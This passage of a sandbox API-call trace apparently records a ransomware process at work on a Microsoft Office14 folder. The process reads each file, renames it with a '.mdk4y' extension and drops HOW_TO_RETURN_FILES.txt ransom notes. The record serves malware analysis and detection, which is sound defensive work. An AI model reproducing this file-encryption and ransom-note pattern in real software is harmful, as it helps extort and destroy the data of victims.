lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828797100000) returned 1 [0212.741] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828797700000) returned 1 [0212.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828797700000) returned 1 [0212.747] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico.mdk4y")) returned 1 [0212.749] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.749] AreFileApisANSI () returned 1 [0212.749] GetACP () returned 0x4e4 [0212.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKDECS.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKDECS.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.749] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828797900000) returned 1 [0212.749] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828798100000) returned 1 [0212.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828798100000) returned 1 [0212.752] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico.mdk4y")) returned 1 [0212.753] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.753] AreFileApisANSI () returned 1 [0212.753] GetACP () returned 0x4e4 [0212.753] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKL.ICO", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKL.ICOICO", lpUsedDefaultChar=0x37dec0) returned 9 [0212.753] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828798600000) returned 1 [0212.756] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828798900000) returned 1 [0212.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828798900000) returned 1 [0212.759] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico.mdk4y")) returned 1 [0212.760] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.760] AreFileApisANSI () returned 1 [0212.760] GetACP () returned 0x4e4 [0212.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKREQ.CFG", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKREQ.CFGO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.761] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828799200000) returned 1 [0212.762] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x31d, lpOverlapped=0x0) returned 1 [0212.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828799300000) returned 1 [0212.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828799300000) returned 1 [0212.763] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg.mdk4y")) returned 1 [0212.764] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.764] AreFileApisANSI () returned 1 [0212.764] GetACP () returned 0x4e4 [0212.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKREQL.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKREQL.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.764] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828799500000) returned 1 [0212.765] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828799600000) returned 1 [0212.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828799600000) returned 1 [0212.766] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico.mdk4y")) returned 1 [0212.767] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.768] AreFileApisANSI () returned 1 [0212.768] GetACP () returned 0x4e4 [0212.768] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKREQS.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKREQS.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.768] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828799800000) returned 1 [0212.768] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828800200000) returned 1 [0212.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828800200000) returned 1 [0212.772] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico.mdk4y")) returned 1 [0212.773] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.773] AreFileApisANSI () returned 1 [0212.773] GetACP () returned 0x4e4 [0212.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKS.ICO", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKS.ICOICO", lpUsedDefaultChar=0x37dec0) returned 9 [0212.773] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828800300000) returned 1 [0212.774] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828800700000) returned 1 [0212.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828800700000) returned 1 [0212.777] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico.mdk4y")) returned 1 [0212.779] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.779] AreFileApisANSI () returned 1 [0212.779] GetACP () returned 0x4e4 [0212.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKUPD.CFG", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKUPD.CFGO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.779] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828800900000) returned 1 [0212.779] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x326, lpOverlapped=0x0) returned 1 [0212.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828801000000) returned 1 [0212.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828801100000) returned 1 [0212.781] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg.mdk4y")) returned 1 [0212.782] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0212.782] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0212.782] AreFileApisANSI () returned 1 [0212.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0212.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0212.783] GetFileType (hFile=0xd8) returned 0x1 [0212.784] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0212.784] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0212.784] AreFileApisANSI () returned 1 [0212.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0212.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0212.785] GetFileType (hFile=0x12c) returned 0x1 [0212.786] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0212.786] AreFileApisANSI () returned 1 [0212.786] GetACP () returned 0x4e4 [0212.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FRENCH.LNG", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="FRENCH.LNGLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0212.786] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0212.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828801600000) returned 1 [0212.786] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x88933, lpOverlapped=0x0) returned 1 [0212.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828802900000) returned 1 [0212.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828802900000) returned 1 [0212.803] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng.mdk4y")) returned 1 [0212.805] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0212.805] AreFileApisANSI () returned 1 [0212.805] GetACP () returned 0x4e4 [0212.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GANTT.DLL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GANTT.DLLG", lpUsedDefaultChar=0x37dfd8) returned 9 [0212.805] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gantt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0212.806] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828803600000) returned 1 [0212.806] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0212.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828805800000) returned 1 [0212.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828805800000) returned 1 [0212.856] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gantt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GANTT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\gantt.dll.mdk4y")) returned 1 [0212.857] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0212.857] AreFileApisANSI () returned 1 [0212.857] GetACP () returned 0x4e4 [0212.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GFX.DLL", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GFX.DLLLL", lpUsedDefaultChar=0x37dfd8) returned 7 [0212.857] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0212.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828808900000) returned 1 [0212.859] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0212.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828813500000) returned 1 [0212.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828813500000) returned 1 [0212.913] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll.mdk4y")) returned 1 [0212.915] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0212.915] AreFileApisANSI () returned 1 [0212.915] GetACP () returned 0x4e4 [0212.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GKExcel.dll", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GKExcel.dllL", lpUsedDefaultChar=0x37dfd8) returned 11 [0212.916] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0212.916] AreFileApisANSI () returned 1 [0212.916] GetACP () returned 0x4e4 [0212.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GKPowerPoint.dll", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GKPowerPoint.dllst", lpUsedDefaultChar=0x37dfd8) returned 16 [0212.916] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0212.916] AreFileApisANSI () returned 1 [0212.916] GetACP () returned 0x4e4 [0212.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GKWord.dll", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GKWord.dllnt.dll", lpUsedDefaultChar=0x37dfd8) returned 10 [0212.916] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0212.916] AreFileApisANSI () returned 1 [0212.916] GetACP () returned 0x4e4 [0212.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRAPH.EXE", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GRAPH.EXEl", lpUsedDefaultChar=0x37dfd8) returned 9 [0212.916] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0212.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828815100000) returned 1 [0212.921] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0212.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828818100000) returned 1 [0212.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828818200000) returned 1 [0213.026] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.mdk4y")) returned 1 [0213.027] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0213.027] AreFileApisANSI () returned 1 [0213.027] GetACP () returned 0x4e4 [0213.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Graph.exe.manifest", cchWideChar=18, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Graph.exe.manifest", lpUsedDefaultChar=0x37dfd8) returned 18 [0213.027] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0213.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828827300000) returned 1 [0213.043] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3c0, lpOverlapped=0x0) returned 1 [0213.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828827500000) returned 1 [0213.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828827500000) returned 1 [0213.045] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest.mdk4y")) returned 1 [0213.047] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0213.047] AreFileApisANSI () returned 1 [0213.047] GetACP () returned 0x4e4 [0213.047] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRAPH.ICO", cchWideChar=9, lpMultiByteStr=0x6ad724, 